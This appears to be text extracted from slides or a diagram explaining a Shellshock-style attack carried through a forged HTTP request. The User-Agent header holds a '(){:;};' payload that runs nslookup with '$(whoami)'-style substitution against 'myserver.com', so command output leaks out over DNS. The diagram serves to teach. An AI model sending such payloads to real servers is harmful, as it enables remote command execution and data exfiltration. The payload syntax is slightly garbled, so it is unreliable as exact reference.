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GET /?product=4 HTTP/1.1
Host: webserver.com
Cookie: session=c4mDUwJftlcCWRp1Z

User-Agent: Mozilla/5.0 (Windows NT) 
Accept: text/html
Referer: https://server3.com/

Accept-Encoding: gzip
Connection: close

GET / HTTP/1.1
Host: server3.com
User-Agent: Mozilla/5.0(Windows NT) 
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GET /?product=4 HTTP/1.1
Host: webserver.com
Cookie: session=c4mDURp1Z

User-Agent: EXPLOIT 
Accept: text/html
Referer: TARGET

Accept-Encoding: gzip
Connection: close

GET / HTTP/1.1

Host: TARGET
User-Agent: EXPLOIT 



 nslookup $(.COMMAND).myserver.com

 nslookup $(.COMMAND_RESULT).myserver.com



Web server

Forged 
Request

GET /?product=4 HTTP/1.1
Host: webserver.com
Cookie: session=c4mDUwCWRp1Z

User-Agent: (){:;}; /usr/bin/nslookup 
$(.whoami).myserver.com
 
Accept: text/html
Referer: https://target.com/

Accept-Encoding: gzip
Connection: close

GET / HTTP/1.1
Host: target.com
User-Agent: (){:;}; nslookup $(.whoami).myserver.com 

Target

root.myserver.com 

My server


